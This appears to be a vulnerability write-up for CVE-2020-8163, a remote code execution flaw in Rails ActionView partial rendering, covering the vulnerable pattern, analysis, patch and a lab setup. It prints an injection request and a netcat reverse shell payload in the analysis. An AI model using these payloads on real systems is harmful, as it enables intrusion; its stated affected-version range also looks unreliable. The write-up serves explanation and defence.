βœ…πŸ΄πŸ”‹[

CVE-2020-8163

Potential Remote Code Execution in Action View

If you pass user parameters as local variables into partials on affected versions of Rails, it is possible for attackers to perform remote code execution. From there, really bad things happen.

Related Code Affected Versions Patched Versions
ActionView All < 5.0.1

Vulnerability1

The locals argument to rendering a partial, does not sanitize user input. A vulnerable call to a partial template will look something like this:

<%= render partial: 'flag', locals: params %>

Weakness

This vulnerability lets an attacker inject code which can lead to remote code execution.

Attack

The attacking request will look something like this2:

curl http://target/users/index?system(%27whoami%27)%0A%23"

Since the query parameter contains arbitrary code and the targeted controller renders a partial view with local variables, this same code can potentially be executed on the target platform as a system call. Other variants3 to this attack might include the use of `backticks`.

Analysis

The ActionView::Template class has a protected method called compile which sets the encoding of the compiled template for the view. Within this method, the dynamic views created by partials are eval’d into the encoded view. It does this by building a string which is a dynamic method that uses module_eval to evaluate the string in the context of module. This is how the attacker is able to run arbitrary code.

The dynamic string that is built will look something like this at run time:

def _app_views_users__unsafe_html_erb___2814227942932613306_70032701656460(local_assigns, output_buffer)
  _old_virtual_path, @virtual_path = @virtual_path, "users/_unsafe"
  _old_output_buffer = @output_buffer
  action = action = local_assigns[:action]
  controller = controller = local_assigns[:controller]
  system('nc 192.168.1.104 4443 -e /bin/bash')
  #
  ...
ensure
  @virtual_path, @output_buffer = _old_virtual_path, _old_output_buffer
end

You can see in this example, the system method where the attacker then uses netcat to perform a reverse shell from within your server environment. This would of course depend on you having netcat installed, but given the attacker could chain these system calls, they could perform the necessary steps through remote code execution.

So how did this system call get into the dynamically eval’d method above in the first place?

The first thing the attacker would need, is for you to be rendering partials with the locals argument:

<%= render partial: 'flag', locals: params %>

When the compile method builds the aforementioned string, it makes another call to the locals_code method in the same class which looks like this:

def locals_code #:nodoc:
  # Double assign to suppress the dreaded 'assigned but unused variable' warning
  @locals.each_with_object('') { |key, code| code << "#{key} = #{key} = local_assigns[:#{key}];" }
end

You can see here, that the @locals array iterates over each item and concatenates it to the string object. If the attacker passed in a parameter such as system(%27whoami%27)%0A%23 then the resulting string will look something like:

system(\'nwhoami\')
# = system(\'nwhoami\')
# = local_assigns[:system(\'nwhoami\')

By properly encoding the parameter, and appending a new line %0A followed by a hash %23 the attacker is able to create a syntactically correct, dynamic method which is when evaluated, executes their system call.

A more simple demonstration with Ruby looks like this:

source = 'def dynamic_method
  system(\'whoami\')
  #
end'

class Thing
end

Thing.module_eval(source)

irb(main):052:0> Thing.new.dynamic_method
root

Fix

The best fix for this, is to upgrade Rails to a patched version.

The patch itself, sanitizes items in the @locals array of the locals_code method with something like this:

+        locals = @locals.to_set - Module::DELEGATION_RESERVED_METHOD_NAMES
+        locals = locals.grep(/\A(?![A-Z0-9])(?:[[:alnum:]_]|[^\0-\177])+\z/)

The vulnerability can also be mitigated by making sure you do not render partials with user provided parameters with something like this instead:

<%= render partial: 'flag', locals: { user: @user } %>

Research

You can re-create this in a CVE laboratory environment using Docker.

CVE=CVE-2020-8163 RAILS_VERSION=4.2.11.1 make lab

References